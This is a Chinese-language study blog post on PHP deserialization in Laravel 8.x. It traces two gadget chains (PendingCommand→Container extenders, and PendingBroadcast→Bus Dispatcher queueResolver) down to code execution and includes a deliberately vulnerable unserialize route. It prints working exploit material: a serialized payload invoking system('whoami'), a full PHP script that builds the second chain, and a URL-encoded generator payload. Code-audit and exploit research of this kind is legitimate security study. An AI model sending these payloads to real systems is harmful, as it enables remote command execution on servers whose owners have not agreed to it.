laravel框架反序列化学习

前言

学习第三种框架,多接触吧()
主要是体会代审的感觉
不花太多时间,毕竟实际php应用太少了
本次在末尾引入一个工具吧

Laravel v8.x

配置

本地配一下服务,拿到源码之后进行

1
2
3
4
composer require --dev barryvdh/laravel-ide-helper:^2.12 --with-all-dependencies
php artisan ide-helper:generate
cp .env.example .env
php artisan serve

配置一个反序列化的入口

1
2
3
php artisan make:controller UnserializeController
在web.php里添加
Route::post('/unserialize-test', [UnserializeController::class, 'test']);

链子一:分析

链子

1
2
3
4
Illuminate\Testing\PendingCommand->__destruct()
Illuminate\Testing\PendingCommand->run()
Illuminate\Container\Container->make()
Illuminate\Container\Container->resolve()

看入口类PendingCommand

1
2
3
4
5
6
7
8
public function __destruct()
{
if ($this->hasExecuted) {
return;
}

$this->run();
}

跟进

跟进Container#make()

1
2
3
4
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}

跟进最后的resolve()
这里存在关键的RCE点

1
$object = $extender($object, $this);

只要我们能够控制$extender$object,就可以执行任意代码
逆着走

1
2
3
$extender->$abstract
$object->$concrete
跟进几个方法再进行分析
控制$extender

跟进

1
foreach ($this->getExtenders($abstract) as $extender)

发现

1
2
3
4
protected function getExtenders($abstract)
{
return $this->extenders[$this->getAlias($abstract)] ?? [];
}

$this->extenders可以控制
我们跟进$this->getAlias方法

1
2
3
4
5
6
public function getAlias($abstract)
{
return isset($this->aliases[$abstract])
? $this->getAlias($this->aliases[$abstract])
: $abstract;
}

这里实现递归调用别名
这里追溯一下abstract这个值,理论上我们合理控制它,就可以控制$extender

1
2
3
4
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}

在PendingCommand#run

1
$exitCode = $this->app->make(Kernel::class)->call($this->command, $this->parameters, $mock);

如何进入run?当前类存在__destruct
满足

1
2
3
4
5
if ($this->hasExecuted) {
return;
}

$this->hasExecuted = true;

即可

而在run这里,可以控制app进入我们的关键类,但是这里参数是Kernel::class如何处理它呢?
别忘了我们说abstruct有一个别名处理
只要我们自己控制

控制之后经过递归我们控制了abstruct的值,这里这样赋值,而$this->extenders=["4ny0ne"=>"system"]
控制了extender的值,$extender=system
那么另外一个值呢?

控制$object
1
2
3
4
5
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}

我们跟进更为熟悉的make方法,又进入了resolve方法
找到一处return

1
2
3
4
5
6
7
8
9
10
11
12
13
14
        $needsContextualBuild = ! empty($parameters) || ! is_null($concrete);

// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
这里我们控制$concrete,再控制$this->instances就可以控制返回结果
......
而对于$concrete
if (is_null($concrete)) {
$concrete = $this->getConcrete($abstract);
}

这里主要看$this->getConcrete

1
2
3
4
5
6
7
8
9
10
11
protected function getConcrete($abstract)
{
// If we don't have a registered resolver or concrete for the type, we'll just
// assume each type is a concrete name and will attempt to resolve it as is
// since the container should be able to resolve concretes automatically.
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}

return $abstract;
}

这里我们可以控制$this->bindings,而$abstract是我们第一次进来传入的值,已知,这样就可以控制$concrete,而控制住$object,就可以执行任意代码了
当然这里有一个判断

1
2
3
4
5
6
7
8
9
10
    protected function isBuildable($concrete, $abstract)
{
return $concrete === $abstract || $concrete instanceof Closure;
}
我们的$concrete一定不等于$abstract,所以这里返回false
他们各代表索引
索引不允许相同,否则第一次无法过
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}

这里使用工具进行生成payload

1
php anyserial.php laravel 8.x whoami -e url

得到(并未url编码这里)

1
O:33:"Illuminate\Testing\PendingCommand":4:{s:4:"test";O:25:"Tests\Feature\ExampleTest":1:{s:14:"expectedOutput";a:1:{s:6:"4ut15m";s:11:"is handsome";}}s:6:"\*\app";O:30:"Illuminate\Container\Container":4:{s:11:"\*\bindings";a:1:{s:6:"4ny0ne";a:1:{s:8:"concrete";s:6:"4ut15m";}}s:12:"\*\instances";a:1:{s:6:"4ut15m";s:6:"whoami";}s:10:"\*\aliases";a:1:{s:35:"Illuminate\Contracts\Console\Kernel";s:6:"4ny0ne";}s:12:"\*\extenders";a:1:{s:6:"4ny0ne";a:1:{i:0;s:6:"system";}}}s:13:"\*\parameters";a:0:{}s:14:"\*\hasExecuted";b:0;}

链子二:分析

链子比较多,多多益善,多看几个
老规矩,全局搜索找入口
vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

找一找有无调用了dispatch方法
进入Dispatcher.php

1
2
3
4
5
6
public function dispatch($command)
{
return $this->queueResolver && $this->commandShouldBeQueued($command)
? $this->dispatchToQueue($command)
: $this->dispatchNow($command);
}

跟进$this->dispatchToQueue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}

if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}

return $this->pushCommandToQueue($queue, $command);
}

```php
$this->queueResolver可以控制,关键在于控制$connection
$command需要为一个继承了接口的对象
```php
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}

选择了BroadcastEvent ,有几处比较耐人寻味,直接看exp吧
最后exp是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace Illuminate\Contracts\Queue{

interface ShouldQueue {}
}

namespace Illuminate\Bus{

class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "system";

}
}
}

namespace Illuminate\Broadcasting{

use Illuminate\Contracts\Queue\ShouldQueue;

class BroadcastEvent implements ShouldQueue {
function __construct() {}
}
class PendingBroadcast{
protected $events;
protected $event;
function __construct() {
$this->event = new BroadcastEvent();
$this->event->connection = "calc";
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace {
$pop = new \Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($pop));
}

工具生成的payload

1
O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Bs%3A6%3A%22system%22%3B%7D%7D

总结

这个框架还有个v5.8的链子,不过就到此为止吧

参考

https://xz.aliyun.com/news/10809